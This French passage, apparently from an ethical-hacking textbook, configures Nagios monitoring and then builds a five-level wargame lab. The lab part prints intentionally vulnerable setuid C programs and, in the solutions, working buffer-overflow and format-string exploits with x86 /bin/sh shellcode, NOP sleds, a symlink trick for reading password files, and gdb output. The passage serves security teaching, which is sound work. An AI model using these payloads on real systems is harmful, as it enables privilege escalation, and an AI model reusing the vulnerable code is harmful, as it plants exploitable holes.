suivrons cette procdure dcrite dans la documentation : Tester la commande : /usr/lib/nagios/plugins/check_http -p 8000 -I XXX.XXX.XXX.XXX Voir --help pour laide en ligne. Le rsultat devrait tre : HTTP OK : HTTP/1.1 200 OK - ... Ajouter les lignes suivantes dans le fichier /etc/nagios2/conf.d/service_nagios2.cfg : define service { hostgroup_name http-servers8000 service_description HTTP8000 check_command check_http!-p 8000 use generic-service notification_interval 0 ; set > 0 if you want to be renotified } Crer un nouveau groupe pour cette station dans le fichier /etc/nagios3/conf.d/hostgroups_nagios2.cfg : define hostgroup { hostgroup_name http-servers8000 alias http8000 members fasm } Tester ce nouveau service. Pour ajouter le service de test "dhcp", connaissant notre serveur DHCP ou aprs avoir install un serveur DHCP sur localhost, nous procderons comme suit : Tester la commande : /usr/lib/nagios/plugins/check_dhcp -s XXXXXXX -i eth0 Le rsultat pourrait tre : "Erreur: Impossible de connecter le socket linterface eth0. Vrifiez vos droits... " ou "OK: Reu 1 DHCPOFFER(s), bail maximum = 43200 sec. Ajouter les lignes suivantes dans le fichier /etc/nagios3/conf.d/service_nagios2.cfg : define service { hostgroup_name dhcp-servers service_description DHCP check_command check_dhcp use generic-service notification_interval 0 ; set > 0 if you want to be renotified } Crer un nouveau groupe pour cette station dans le fichier /etc/nagios2/conf.d/hostgroups_nagios2.cfg : define hostgroup { hostgroup_name dhcp-servers alias DHCP Servers members xxxxxxxxx,yyyyyyy } Tester ce nouveau service. Il est peut-tre ncessaire de donner plus de droits Nagios. Le SNMP (Simple Network Management Protocol) est un protocole qui va permettre aux administrateurs rseau de diagnostiquer les problmes rseau et de grer les quipements rseau. Pour tester le plug-in SNMP, nous pouvons effectuer les commandes suivantes : /usr/lib/nagios/plugins/check_snmp -H gateway -C public -o 1.3.6.1.2.1.1.1.0 ou system.sysDescr.0 /usr/lib/nagios/plugins/check_snmp -H gateway -C public -o interfaces.ifTable.ifEntry.ifDescr.1 ou 1.3.6.1.2.1.2.2.1.2.1 SNMP OK - loopback | IF-MIB::ifDescr.1=loopback Complter les fichiers services.cfg et commands.cfg afin de tester les services disponibles sur une station Linux, la station Nagios, un routeur ADSL, ainsi que tous les services Ping. Dans le fichier commands.cfg, dfinir les commandes excuter pour tester un service. Lensemble de ces commandes est prsent sous forme dexcutable dans le rpertoire plugin de Nagios. On peut donc tester en ligne de commande si les paramtres associs aux commandes fonctionnent. De mme, on obtient laide relative cette commande grce loption : -h (ex: check_ping -h) Si par exemple nous souhaitons tester le service avec SNMPGet (SNMPGet tant une commande du protocole SNMP qui permet de faire une demande un priphrique), nous ajouterons dans commands.cfg : define command{ command_name check_snmp command_line $USER1$/check_snmp -H $HOSTADDRESS$ -C $ARG1$ -o $ARG2$ } Deux solutions soffrent nous pour tester le service SNMP avec check_snmp : Soit nous indiquons en dur les paramtres de la fonction check_snmp. Soit nous indiquons les paramtres utiliser et ces derniers seront crits dans le fichier services.cfg. Certains sont entrs en dur, comme ladresse de lhte. Dautres seront entrer en complment de la commande, comme ARG1 et ARG2, cest--dire deux arguments que nous indiquerons aprs la commande, les arguments 1 et 2. Il nous faut configurer des commandes non dfinies dans commands.cfg mais prsentes dans le rpertoire des plug-ins. Ainsi, on rajoute la dfinition de check_ssh, check_daytime et check_swap (voir fichier commands.cfg). Dans le fichier services.cfg, nous associons aux htes dj dfinis le service que lon souhaite tester ainsi que les arguments ncessaires son utilisation. Exemple du SNMPGet dune station : define service{ use generic-service ; Name of service template to use hostgroup_name gateway service_description SNMP notification_interval 240 check_command check_snmp!public!1.3.6.1.2.1.2.2.1.2.1 } Nous configurons ici lhte sur lequel nous testons le service, les priodes de test et les priodes de notification de la commande excuter avec ses paramtres (ceux non rentrs en dur). Les arguments de la commande sont spars par des "!". Dans le cas du SNMPget, largument 1 correspondant ARG1 dans commands.cfg est public et largument 2 (ARG2) est 1.3.6.1.2.1.2.2.1.2.1. Ces paramtres dpendent de la commande excute. Les chiffres ainsi dclars 1.3.6.1.2.1.2.2.1.2.1 sont des OID. Les OID sont des identifiants universels, reprsents sous la forme dune suite dentiers. Ils sont organiss sous forme hirarchique. Ainsi, seul lorganisme 1.2.3 peut dire quelle est la signification de lOID 1.2.3.4. Ils ont t dfinis dans une recommandation de lInternational Telecommunication Union. Nous pourrons trouver de plus amples informations sur ce site : http://www.alvestrand.no/objectid/top.html Ainsi, pour chacune des stations prcdemment dfinies, nous dfinissons les services tester. d. Utilisation de NSClient NSClient est un excutable installer sous Windows qui va permettre de surveiller les services disponibles sur la machine. Nous devrons donc : Utiliser le serveur NSClient installer sur la machine Windows, ainsi que le plug-in check_nt, disponible avec NSClient, afin dinterroger le serveur. Complter les fichiers services.cfg et checkcommands.cfg en consquence. Une fois larchive tlcharge puis dcompresse, il nous faut copier les fichiers pNSClient.exe, pdh.dll, psapi.dll et counters.defs dans le rpertoire o nous souhaitons installer NSClient (par exemple c:\nsclient). Nous devrons ensuite lancer la commande pNSClient.exe /install dans un prompt MS-DOS, ce qui installe le service NSClient sur la machine. Nous pourrons alors dmarrer le service.
Les commandes et extraits de configurations sont tirs de la documentation officielle de Nagios. Du ct de la machine Nagios, il faut utiliser le plug-in check_nt qui est fourni dans le fichier zip et le copier dans le rpertoire des plug-ins de Nagios. Nous devrons modifier le fichier checkcommands.cfg en y ajoutant les blocs suivants : Test de la mmoire utilise : define command{ command_name check_windows_mem command_line $USER1$/check_nt -H $HOSTADDRESS$ -v MEMUSE -w $ARG1$ -c $ARG2$ } Test de lespace disque utilis : define command{ command_name check_windows_disk command_line $USER1$/check_nt -H $HOSTADDRESS$ -v USEDDISKSPACE -l $ARG1$ -w $ARG2$ -c $ARG3$ } Ajout des blocs suivants dans le fichier services.cfg pour utiliser ces commandes sur la machine Windows : Test de la mmoire utilise : define service{ use generic-service ; Name of service template to use host_name Non_de_la_Station service_description MEMORY USED is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups Windows notification_interval 240 notification_period 24x7 notification_options c,r check_command check,windows_mem!50%!90% } Test de lespace disque disponible : define service{ use generic-service ; Name of service template to use host_name Non_de_la_Station service_description DISK is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups Windows notification_interval 240 notification_period 24x7 notification_options c,r check_command check_windows_disk!c!60%!80% } Voil, nous devrions tre capables de grer grce Nagios toutes nos machines virtuelles et plus. Conclusion Notre laboratoire de hacking est prt, nous pouvons ds prsent commencer linstallation de nos preuves applicatives, sites web et autres afin de pouvoir tester et apprendre les techniques de hacking en toute lgalit. Mise en place des preuves Introduction Nous allons prsenter dans ce chapitre quelques preuves afin davoir un laboratoire de hacking minimal et prt lemploi. Il nous faudra bien sr ensuite crer nos propres preuves afin de nous renouveler et de pouvoir tester de nouvelles failles, nous devrons donc raliser une veille technologique constante afin didentifier les nouveauts et de les recrer dans notre laboratoire. Les preuves proposes ici sont des preuves qui ont t proposes dans diffrents challenges que nous avons crs, comme pour le hacknowledge-contest (http://www.hacknowledge- contest.org), ou dans lesquels nous tions challengers. Certaines preuves viennent aussi des TP de la licence professionnelle CDAISI dite ethical hacking de luniversit de Valenciennes, en son antenne de Maubeuge, dans laquelle nous enseignons. Nous pourrons bien sr retrouver ces preuves sur le web ainsi que leur solution puisque souvent des write-up , soit les solutions, sont proposes et reprises dans diffrents sites. Cration de cinq preuves applicatives 1. Configuration de la machine Une nouvelle machine spcifique pour cette srie dpreuves de type wargame est cre sous Debian. Mais quest-ce quune preuve de type wargame ? Ce sont par exemple cinq preuves qui se suivent et qui sont organises de telle sorte que la rsolution de la premire preuve permet laccs la deuxime et ainsi de suite. Mais pour raliser cela, nous avons un premier travail de configuration. Nous allons commencer par crer un rpertoire /wargame : fasm# mkdir /wargame Nous y placerons nos preuves, donc pour ce cas, cinq fichiers binaires et cinq fichiers source. Nous voulons un rsultat semblable ceci : challenge1:/home# ls -l /wargame/ total 96 -r-Sr-x--- 1 level2 level1 6970 Jun 29 2010 level1 -r--r----- 1 root level1 530 Jun 29 2010 level1.c -r-Sr-x--- 1 level3 level2 6679 Jun 29 2010 level2 -r--r----- 1 root level2 341 Jun 29 2010 level2.c -r-sr-x--- 1 level4 level3 6726 Jun 29 2010 level3 -r--r----- 1 root level3 426 Jun 29 2010 level3.c -r-Sr-x--- 1 level5 level4 7216 Jun 29 2010 level4 -r--r----- 1 root level4 1037 Jun 29 2010 level4.c -r-sr-x--- 1 level6 level5 6888 Jun 29 2010 level5 -r--r----- 1 root level5 468 Jun 29 2010 level5.c Nous dposerons donc dans ce rpertoire ces fichiers que nous verrons plus en dtail dans les sections suivantes. Nous devons dabord crer 6 utilisateurs que nous appellerons level1 level6. Le mot de passe de level1 sera level1 et les mots de passe des autres devront tre plus compliqus car ce sont ces mots de passe qui devront tre dcouverts au fur et mesure. Par exemple, on se connecte sous lidentit de level1, nous allons dans /wargame dcouvrir le binaire correspondant qui sappelle lui aussi level1. Si nous rsolvons lpreuve, nous devenons level2 et avons donc accs au rpertoire de level2. Dans ce rpertoire se trouvera un fichier nomm .passwd qui contient le mot de passe de level2. Nous pourrons ainsi nous connecter en SSH en tant que level2 avec le mot de passe trouv prcdemment pour accder lpreuve 2. Nous pouvons donc nous dconnecter et nous reconnecter en level2 et ainsi de suite. Nous commenons par crer les utilisateurs : fasm#adduser level1 fasm#adduser level2 fasm#adduser level3 fasm#adduser level4 fasm#adduser level4 fasm#adduser level5 fasm#adduser level6 Les rpertoires correspondant aux diffrents utilisateurs sont crs en mme temps. Nous placerons partir de level2, dans le rpertoire correspondant, soit /home/level2, un fichier cach appel .passwd dans lequel nous crirons le mot de passe du level2. fasm#nano /home/level2/.passwd Nous y crivons le mot de passe de level2. Nous donnons ensuite les droits sur ce fichier .passwd : fasm#chown level2:level2 .passwd fasm#chmod 400 .passwd Nous allons nous occuper de voir comment configurer les fichiers que nous placerons par la suite dans /wargame. Supposons que nous ayons en notre possession le fichier level1.c et le binaire level1. fasm#cd /wargame fasm#chown root:level1 level1.c fasm#chmod 440 level1.c fasm#chown level2:level1 level1 fasm#chmod 550 level1 fasm#chmod u+s level1 Le fichier level1.c appartient maintenant au groupe level1 qui a les droits en lecture sur ce fichier. Lutilisateur qui se connectera en level1 pourra donc lire le contenu du fichier mais naura pas le droit en criture pour le changer. Le binaire level1 appartient au level2 et au groupe level1. Le groupe a les droits en lecture et excution. Lutilisateur level2 a les droits de lecture et dexcution mais en plus le bit s est mis, cest--dire que si lutilisateur level1 russit exploiter le binaire, il pourra sous certaines conditions devenir level2 et donc lire le mot de passe de level2 dans /home.level2/.passwd. Il nous faudra donc faire cette suite de commandes pour chaque fichier en adaptant bien sr chaque fois suivant le niveau. Voil, nous avons termin la configuration. Nous allons maintenant installer le logiciel SSH pour la connexion distance. fasm#aptitude install openssh-server Nous devons maintenant crer nos diffrentes preuves et ensuite les dposer dans /wargame avant de leur donner les droits et appartenances dcrits ci-dessus. 2. Les preuves Les preuves suivantes ont t proposes dans le premier hacknowledge-contest en 2008 et sont inspires de diffrents challenges tels que linsomnihack, Genve et des challenges en ligne. a. preuve level1 Le fichier level1.c est le suivant : #include <stdio.h> #include <stdlib.h>
int main(){ long val=0x41414141; char buf[20]; printf("========= ENI Challenge Securite ==============\n\n"); printf("La valeur correcte pour 0x41414141 est 0xcafedeca!\n"); printf("Cest bon pour la sante, le cafe deca !\n\n"); printf("Vous trouverez votre bonheur ici: "); scanf("%24s",&buf);
return 0; } Nous compilerons le fichier level1.c grce gcc. fasm#gcc -z stackexec -fno-stack-protector -o level1 level1.c Nous compilerons les autres fichiers de la mme manire. b. preuve level2 Le fichier level2.c est le suivant : #include <stdio.h> #include <stdlib.h>
int main(){ int (*ret)(); printf("========= ENI Challenge Securite ==============\n\n"); if((ret=getenv("ACISSI"))==NULL){ printf("Donnez quelque chose a executer a la variable denvironnement ACISSI\n") ; exit(1); }
printf("Essaie dexecuter la variable denvironnement ACISSI!\n"); seteuid(1002); printf("========= ENI Challenge Securite ==============\n\n"); ret();
return 0; } c. preuve level3 Le fichier level3.c est le suivant : #include <stdio.h> #include <stdlib.h> #include <string.h>
int vuln(char *arg) { char buffer[128]; strcpy(buffer,arg); return 1; }
int main(int argc, char * argv[]){ char buf[128]; printf("========= ENI Challenge Securite ==============\n\n"); if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } seteuid(1003); vuln(argv[1]); printf("%s", buf); printf("========= ENI Challenge Securite ==============\n\n"); return 0; } d. preuve level4 Le fichier level4.c est le suivant : #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <string.h>
int main(int argc, char **argv){
int ifd, ofd; char ofile[16] = "/dev/null"; char ifile[32]; char buf[32]; printf("========= ENI Challenge Securite ==============\n\n"); if(argc != 2){ printf("usage, le fichier %s va essayer denvoyer son contenu vers /dev/null\n ",argv[0]); exit(-1); }
/* open files */ strcpy(ifile, argv[1]); if((ofd = open(ofile,O_RDWR)) < 0 ){ printf("erreur douverture %s\n", ofile); exit(-1); } if((ifd = open(ifile, O_RDONLY)) < 0 ){ printf("erreur douverture %s\n", ifile); exit(-1); } e. preuve level5 Le fichier level5.c est le suivant : #include <stdio.h> #include <string.h>
int main(int argc, char **argv){ int i = 10; char buffer[64]; printf("========= ENI Challenge Securite ==============\n\n"); snprintf(buffer, sizeof buffer, argv[1]); buffer[sizeof (buffer) - 1] = 0; printf("Changez la valeur de i : 10 -> 400. ");
printf("Pas BON!! .... essayez encore\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); printf("========= ENI Challenge Securite ==============\n\n"); return 0; } 3. Solutions Notre premier challenge est prt tre utilis. Pour lapprentissage, il est bien sr prfrable dessayer par soi-mme quelques heures sans aller voir la solution. Nous nous connectons donc sur la premire preuve : fasm$ssh level1@adresse_ip_machine level1 Avant dexploiter ce programme, il faut comprendre le lien entre le code source, le code compil et la mmoire. Ce code est compil, puis excut. La compilation du code est effectue grce aux commandes gcc vues prcdemment. Lexcution dun programme, cest la copie du code compil en mmoire, puis son excution. Les variables initialises, non initialises, les allocations mmoire (malloc(), realloc()) sont elles aussi copies en mmoire. Lexcution, cest le parcours rgulier de la mmoire, vu comme un fil directeur qui indique quoi faire (lire une variable, crire une variable, aller ailleurs sur le fil dexcution, etc.). Le fil dexcution est, pour simplifier, lendroit o doit se rendre le processeur en mmoire pour excuter linstruction suivante. Dans la mmoire, nous retrouvons plusieurs donnes, commencer par le nom du programme (le fameux argv[0]), et les emplacements des variables, qui sont cte cte. Pour avoir plus de dtails sur le contenu mmoire, lexcution ou le langage assembleur, nous nous reporterons au livre Scurit informatique - Ethical Hacking aux ditions ENI. Nous allons reprendre notre premire preuve. Dans la mmoire, nous avons donc deux variables contigus, val et buf. En effet, val et buf sont dclares lune en dessous de lautre dans le programme. long val=0x41414141; char buf[20]; buf a 20 octets rservs. Si buf fait plus de 20 octets alors il dborde sur val. Nous navons en effet ici aucun test pour dfinir si ce que nous allons mettre dans buf est bien infrieur en longueur 20 octets. Nous pouvons nous rendre compte facilement de ce comportement en donnant 22 fois la lettre a minuscule lors du lancement de ce programme (a vaut 0x61 en notation hexadcimale). Nous constatons que la variable val contient deux 41 et deux 61 prouvant bien quil est possible de modifier une variable sans la manipuler directement. Une variable dborde sur une autre, cest donc un buffer overflow . Le but ici pour valider lpreuve est donc darriver crire ladresse 0xdeadbeef en place de 0x41414141. Nous devons effectuer un buffer overflow qui crasera val. Les valeurs 0xdeadbeef ne correspondent aucun caractre imprimable. Nous pouvons toutefois les envoyer via un pipe au programme laide du programme printf (le programme shell, pas la fonction C) : Si nous crivons simplement printf AAAAAAAAAAAAAAAAAAAA\xef\ xbe\xad\xde | ./level1, nous arrivons en thorie craser val avec la valeur voulue mais rien ne se passe, le shell se termine. Nous devons donc empcher que le shell ne se ferme et cela est possible grce la commande cat. level1@vm_bof:/wargame$ (printf AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde; cat) | ./level1 Correct vals value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: AAAAAAAAAAAAAAAAAAAA val: 0xdeadbeef cat /home/level2/.passwd HP9u76th D level1@vm_bof:/wargame$ su - level2 Nous voyons ici le mot de passe pour passer au level suivant (cest le mot de passe que nous aurons crit dans le fichier .passwd de lutilisateur level2. level2 Nous avons donc un programme qui va excuter simplement ce qui est situ dans une variable denvironnement. Nous allons donc devoir mettre dans une variable denvironnement appele ici EGG un shellcode que nous pouvons trouver sur le web qui lance un /bin/sh. Cela na rien de bien compliqu par rapport dautres challenges que lon peut trouver. Voici donc comment lexploiter. Pour exploiter ce programme, le shellcode donn par Wikipdia est amplement suffisant (cherchons grce Google shellcode wikipedia et nous tomberons sur des shellcodes que nous pourrons utiliser : level2@vm_bof:/wargame$ EGG=`printf \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh` level2@vm_bof:/wargame$ export EGG level2@vm_bof:/wargame$ ./level2 Trying to execute EGG! sh-3.1$ id uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2) sh-3.1$ cat /home/level3/.passwd HHTYgtfr76y Nous plaons donc le shellcode dans une variable que nous appelons EGG quil faut ensuite exporter. Il nous suffit ensuite de lancer le level2. level3 Lexploitation semble moins simple : nous sommes en prsence de la fonction strcpy qui va dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est pass en argument au programme, et qui donc peut faire plus de 128 octets. Nous pouvons donc craser une partie de la mmoire avec le contenu du buffer, buffer que nous matrisons. Contrairement level1 par exemple, aucune variable nest remplacer ; nous allons donc essayer de dtourner le flux dexcution du programme. Le programme va appeler strcpy, puis faire appel printf. Nous allons essayer de dtourner le flux du programme en lui faisant appeler autre chose que le printf initialement prvu. Voyons concrtement la technique utiliser ici. Nous allons comme dans le level2 mettre notre shellcode dans une variable denvironnement, trouver son adresse en mmoire et lexcuter la place du printf. Pour cela, il ne faut pas que la machine fasse de la randomization de mmoire, cest--dire une attribution dadresses alatoires. Nous allons donc vrifier cela : level3@vm_bof:/tmp/aaa$ cat /proc/sys/kernel/randomize_va_space 0 La variable randomize_va_space est 0, ce qui indique que nous navons pas de randomisation. Nous allons donc rutiliser le shellcode du level2 : level3@vm_bof:/tmp/aaa$ EGG=`printf \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh` level3@vm_bof:/tmp/aaa$ export EGG Nous pouvons crire un programme permettant de connatre ladresse du shellcode. Nous devons placer ce programme dans le rpertoire /tmp, pour lequel nous avons le droit en criture. Voici un programme crit en C issu du web que nous avons adapt notre shellcode (surtout la variable EGG) : level3@vm_bof:/tmp/aaa$ cat envenv.c #include <stdio.h> #include <stdlib.h> #include <string.h>
int main(void){ char *p = NULL; p = getenv("EGG"); printf("@EGG= %p\r\n", p); return 0; } level3@vm_bof:/tmp/aaa$ make envenv cc envenv.c -o envenv level3@vm_bof:/tmp/aaa$ /tmp/aaa/envenv @EGG= 0xbffffc48 Il est ncessaire que le nom du programme calculant ladresse ait la mme longueur que le programme victime : "/wargame/level3" = "/tmp/aaa/envenv". Cest pourquoi nous mettrons notre programme dans un rpertoire que nous crerons et que nous appellerons aaa et ce dans /tmp. En effet, ce nom est enregistr dans la mmoire du processus (argv[0]), dcalant ainsi ladresse de la variable denvironnement. Nous devons maintenant aller faire un tour du ct du debugger gdb afin de trouver ladresse de retour de la fonction strcmpy. Quelques essais avec gdb (en modifiant le nombre de a ) donnent la solution : (gdb) r `python -c "print a*200"` Starting program: /wargame/level3 `python -c "print a*200"`
Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) info reg eax 0x0 0 ecx 0xb7fe0434 -1208089548 edx 0xb7fe1448 -1208085432 ebx 0xb7fdfff4 -1208090636 esp 0xbffffa10 0xbffffa10 ebp 0x61616161 0x61616161 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0x61616161 0x61616161 eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 force de tests, nous observons que lEIP est cras partir du 140 e caractre entr. LEIP (Extender Instruction Pointer) est le pointeur dinstruction. Quand une instruction est en cours dexcution, EIP contient ladresse de la prochaine instruction excuter. Le programme choue ici (SIGSEGV) car nous avons cras EIP avec la valeur 0x61616161. Ladresse du shellcode est 0xbffffc48, ce qui donne \x48\xfc\xff\xbf car les adresses scrivent lenvers (ladressage est de type little endian). Maintenant que nous avons toutes les informations disponibles, nous pouvons exploiter le programme : level3@vm_bof:/tmp/aaa$ /wargame/level3 `python -c "print A*140+\x48\xfc\xff\xbf"` sh-3.1$ cat /home/level4/.passwd jhR5Drz4r sh-3.1$ exit level3@vm-bof:/tmp/aaa$ su - level4 Password: level4@narnia:~$ strcpy copie le buffer et crase EIP avec une adresse. Le programme continue sur cette adresse, contenant un shellcode do lexcution de ce dernier. level4 Le programme est assez simple comprendre. Il prend en entre un fichier de nom ifile et ayant en file descriptor ifd, et le copie en sortie dans le fichier de nom /dev/null ayant comme file descriptor ofd. Nous sommes donc trs proches de lexploitation level1. Dans la mmoire, nous allons trouver de manire contigu ifile, qui fait une taille de 32 octets, et ofile. Nous pourrons donc crire plus de 32 octets dans ifile et arriver dans ofile pour lcraser. Nous pourrons alors changer le nom du fichier de sortie. Il faut donc un fichier dentre pointant vers le mot de passe de level5 ; nous allons passer par un lien symbolique qui pointera vers le fichier voulu (.passwd). Ce nom de fichier doit faire plus de 32 caractres. Les caractres au-del du trente-deuxime caractre doivent correspondre dune part un fichier existant et dautre part un fichier dans lequel level5 peut crire. Quelques commandes UNIX permettent daboutir au mot de passe sans trop de souci : level4@vm_bof:/wargame$ cd /tmp level4@vm_bof:/tmp$ ln -s /home/level5/.passwd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa level4@vm_bof:/tmp$ touch aaaaaaaa level4@vm_bof:/tmp$ chmod 666 aaaaaaaa level4@vm_bof:/tmp$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a safer place... (aaaaaaaa) level4@vm_bof:/tmp$ cat aaaaaaaa WhT8y75tP (none)_level4@vm_bof:/tmp$ su - level5 Nous commenons donc par nous placer dans le rpertoire /tmp. Nous crons ensuite un lien symbolique entre /home/level5/.passwd et un nom de fichier , soit ici aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa . Ce fichier fait 32 + 8 octets donc 40 a . Le nom du fichier cras dans ofile sera donc aaaaaaaa . Il faut donc crer ce fichier car il doit exister. Nous le crons grce la commande touch et lui donnons les droits en lecture/criture. Quand nous excutons le programme en donnant comme fichier les 40 a, cest en fait /home/level5/.passwd qui est le fichier dentre et le contenu sera crit dans le fichier aaaaaaaa. Nous pouvons donc lire le contenu de ce fichier qui contiendra le mot de passe du niveau suivant. level5 Nous ne pouvons pas ici utiliser de variable denvironnement pour placer notre shellcode comme dans certaines preuves prcdentes car elles sont toutes crases et remplies par des zros. Nous avons une chane que lon matrise, argv[1]. Cette chane, au-del dun certain seuil, va dborder de son buffer. Dans le level3 nous avons rempli de manire arbitraire la chane avec des a (ce que lon appelle le bourrage ) pour craser EIP avec ladresse de notre variable denvironnement contenant le shellcode. Il va falloir que nous mettions le shellcode ailleurs que dans une variable denvironnement. Nous avons suffisamment de place dans la chane elle-mme ! Le paramtre argv[1] va donc contenir un shellcode, des caractres de bourrage, puis une adresse pointant vers le shellcode. Cette adresse va craser EIP, et le shellcode va donc sexcuter. Le but est donc de placer notre shellcode dans largument lui-mme, de trouver son adresse en mmoire et de placer cette adresse dans EIP. argv[1] vaudra donc : shellcode+bourrage+adresse. Le plus gros problme consiste trouver ladresse de ce shellcode. Nous pouvons plutt utiliser comme argv[1] : bourrage+shellcode+adresse. Le bourrage tant par nature arbitraire, nous allons employer des \x90. \x90 en assembleur 8086, cest le NOP, cest--dire : ne fait rien et passe linstruction suivante . Cette instruction NOP est trs frquemment utilise dans les shellcode afin davoir une plage dadresse utilisable au lieu davoir exactement ladresse du shellcode. Lexcution enchanera les NOP jusqu excuter notre shellcode. Nous devons donc trouver la taille de NOP(s)+shellcode+adresse afin dcraser et de remplacer ladresse contenue dans EIP par la ntre. gdb va nous y aider : level5@vm_bof:/wargame$ ./level5 `python -c "print a*200"` Segmentation fault level5@vm_bof:/wargame$ ./level5 `python -c "print a*128"` Segmentation fault level5@vm_bof:/wargame$ ./level5 `python -c "print a*100"` level5@vm_bof:/wargame$ ./level5 `python -c "print a*120"` level5@vm_bof:/wargame$ ./level5 `python -c "print a*124"` Illegal instruction level5@vm_bof:/wargame$ Nous commenons donc, par ttonnements, par essayer de trouver ce nombre. Nous crasons donc 124, vrifi par : level5@vm_bof:/wargame$ gdb /wargame/level5 GNU gdb 6.4.90-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Nous voyons ici que le programme essaie de retourner ladresse 0x41414141 qui ne correspond rien do lerreur Segmentation fault . Si maintenant nous regardons le contenu des registres, nous obtenons : (gdb) info reg eax 0x0 0 ecx 0xfffffe07 -505 edx 0xbffffc4a -1073742774 ebx 0xb7fdfff4 -1208090636 esp 0xbffffa50 0xbffffa50 ebp 0x61616161 0x61616161 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0x41414141 0x41414141 eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) Nous avons bien nos a (\x61 dans EBP) et nos A (\x41 dans EIP). Nous pouvons de plus regarder vers quelle adresse se situe notre argv[1]. Linconvnient est que cette adresse ne correspondra pas ladresse du programme lanc sans gdb. En effet, gdb lui aussi est en mmoire et dcale donc lensemble des adresses du programme (la vritable adresse sera donc suprieure en valeur). Nous allons observer la RAM pour avoir notre premire approximation : (gdb) x/60x $esp-180 0xbffff99c: 0x0804850f 0xbffff9d0 0xbffffbc9 0x00000021 0xbffff9ac: 0x00003638 0x00000000 0x00000000 0x00000000 0xbffff9bc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff9cc: 0x00000011 0x61616161 0x61616161 0x61616161 0xbffff9dc: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff9ec: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff9fc: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffffa0c: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffffa1c: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffffa2c: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffffa3c: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffffa4c: 0x41414141 0x00000000 0xbffffac4 0xbffffad0 0xbffffa5c: 0x00000000 0xb7fdfff4 0x00000000 0xb8000cc0 0xbffffa6c: 0xbffffa98 0xbffffa50 0xb7ec7e6d 0x00000000 0xbffffa7c: 0x00000000 0x00000000 0xb7ff6090 0xb7ec7ded Donc vers 0xbffff9dc, nous arrivons dans argv[1]. Nous pouvons donc construire notre argv[1]. La taille complte doit faire 128 octets. Le shellcode trouv sur Wikipdia fait 45 octets. La chane est construite avec : 79xNOP+Shellcode+adresse (sur 4 octets)=128 octets. Nous allons donc tenter diffrentes adresses. La premire adresse que nous allons tenter sera 0xbffff9dc, cette dernire ne fonctionnera vraisemblablement pas, sauf si gdb a dcal moins de 79 octets, nombre qui correspond nos NOP. Ensuite, nous allons tenter la mme adresse plus 79 octets, plus 79 octets une seconde fois, etc. jusqu tomber sur nos NOP (79 en dcimal correspond 0x4f en hexadcimal) : 0xbffff9dc+0x4f=0xBFFFFA2B puis BFFFFA7A puis BFFFFB18 puis etc. level5@vm_bof:/wargame$ ./level5 `python -c "print \x90*79+\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\ xcd\x80\xe8\xdc\xff\xff\xff+/bin/sh+\xdc\xf9\xff\xbf"` Segmentation fault level5@vm_bof:/wargame$ ./level5 `python -c "print \x90*79+\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\ xcd\x80\xe8\xdc\xff\xff\xff+/bin/sh+\x2b\xfa\xff\xbf"` sh-3.1$ cat /home/level6/.passwd Bg8htOO96 sh-3.1$ exit level5@vm_bof:/wargame$ su - level6 Password: level6@vm_bof:~$ La premire erreur de segmentation (segfault) est attendue. Ensuite, nous avanons de 79 octets et nous arrivons quelque part dans les NOP, ce qui nous montre bien lefficacit de mettre les NOP avant le shellcode. Si le shellcode tait en premire position, nous aurions d monter les adresses octet par octet pour trouver la bonne adresse. Conditions gnrales d'utilisation Copyright - 